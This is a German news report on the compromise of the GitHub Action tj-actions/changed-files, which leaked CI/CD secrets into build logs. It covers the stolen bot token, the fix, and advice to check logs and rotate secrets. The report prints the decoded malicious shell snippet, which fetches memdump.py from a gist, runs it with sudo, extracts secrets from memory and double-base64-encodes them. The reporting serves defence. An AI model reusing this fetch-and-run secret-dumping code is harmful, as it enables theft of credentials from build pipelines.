Attacke über GitHub-Action-Tool spähte Secrets aus und legte sie in Logdatei ab

Das auf Security für die CI/CD-Pipelines (Continuous Integration/Continuous Delivery) spezialisierte Unternehmen StepSecurity hat einen Angriff auf das Open-Source-Tool tj-actions/changed-files für GitHub Actions entdeckt. Unbekannte haben Schadcode in das Tool eingeschleust, der sensible Informationen wie AWS Keys, GitHub Zugriffstoken (Personal Access Tokens, PAT) und private RSA-Schlüssel aus dem Projekt in einer Logdatei ablegt.

Der CVE-Eintrag (Common Vulnerabilities and Exposures) CVE-2025-30066 ist mit einem Score von 8.6 als hoch eingestuft. StepSecurity hat den Angriff am 14. März entdeckt. Die Maintainer von tj-actions/changed-files haben den Schadcode inzwischen aus dem Projekt entfernt. Es besteht jedoch nach wie vor die Gefahr, dass Build-Logs mit den sensiblen Informationen in öffentlichen GitHub-Repositories einsehbar sind.

Umweg über Python-Script

tj-actions/changed-files lässt sich in den Workflow mit GitHub Actions einbinden. Das Tool trackt im CI/CD-Prozess, welche Dateien geändert wurden.

Die Angreifer haben sich offenbar über ein persönliches Zugriffstoken zum @tj-actions-bot Zugang zum Repository verschafft. Laut dem Issue im Repository lässt sich nicht nachvollziehen, wie das PAT kompromittiert wurde. GitHub hat das Token inzwischen zurückgezogen. Die Maintainer des Projekts haben das Passwort geändert und als Schutz vor künftigen Attacken Passkey-Authentifizierung aktiviert.

Lesen Sie auch

Schwachstellen in der Supply-Chain verdoppeln sich jedes Jahr

---

Vertrauen durch Verifizierung: Commit-Signierung in Git

---

Sichere Softwareentwicklung: Vorträge für die heise devSec in Regensburg gesucht

Für den Angriff landete zunächst ein Base64-kodierter Codeabschnitt im Repository, der dekodiert ein Python-Skript von einem GitHub-Gist aufruft:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Das Python-Skript memdump.py sucht schließlich nach Secrets und legt sie im Log ab. Damit Sicherheitstools die Informationen nicht automatisch als sensible Informationen erkennen und herausfiltern, kodiert das Skript die Informationen doppelt mit Base64.

Öffentliche Repos in Gefahr

Auch wenn die Maintainer den Schadcode inzwischen aus dem Projekt entfernt haben und auch das Gist mit dem Schadcode nicht mehr existiert, besteht für öffentliche Repositorys die Gefahr, dass die Angreifer die Build-Logs einsehen können und die sensiblen Informationen dekodieren.

Wer das Tool in seiner GitHub-Action-Pipeline verwendet, sollte daher auf jeden Fall die Build-Logs auf verdächtige Inhalte überprüfen. Finden sich doppelt Base64-kodierte Abschnitte in den Logs, gilt es nicht nur die Dateien zu entfernen, sondern auch die betroffenen Secrets zu ändern.

Weitere Details inklusive Code aus dem Python-Skript finden sich im Blogbeitrag bei StepSecurity.

(rme)